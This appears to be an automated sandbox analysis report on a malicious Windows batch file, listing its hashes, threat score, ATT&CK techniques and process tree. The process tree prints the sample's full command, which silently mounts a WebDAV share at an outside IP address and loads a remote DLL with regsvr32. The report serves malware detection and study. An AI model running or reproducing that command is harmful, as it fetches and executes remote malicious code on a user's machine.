06ff32a9b7a3bcc2d0ee4cc5a3332804186a33c4158e52503b733497791bf887

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 16:08

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General

Target

137382364443739716.bat
Size

11KB
MD5

061b862025771c401ce032048d784358
SHA1

5faa748cc923b3235f2f7cf63f3020843a646565
SHA256

06ff32a9b7a3bcc2d0ee4cc5a3332804186a33c4158e52503b733497791bf887
SHA512

e7d7d37aa581cf0fd6ed1568f50df659ea9aae168cf25b5e3faf64ecd202fc777c878515bb480d0c125cb06bd823594d67393d34bcd841e19dd7e1df1bbd22b7
SSDEEP

192:2yUg+woCJgqPIKmS2M+Or4pVWkp0jDX6imSZpkNYeg:2yFuCJgqPIKUM+TwNjDnmEpJeg

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\137382364443739716.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\294257946664.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2596
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\294257946664.dll
    3⤵
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-18-0x00000000023A0000-0x00000000024A0000-memory.dmp

Filesize
1024KB

Download
memory/2688-17-0x00000000023A0000-0x00000000024A0000-memory.dmp

Filesize
1024KB

Download
memory/2912-23-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2912-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download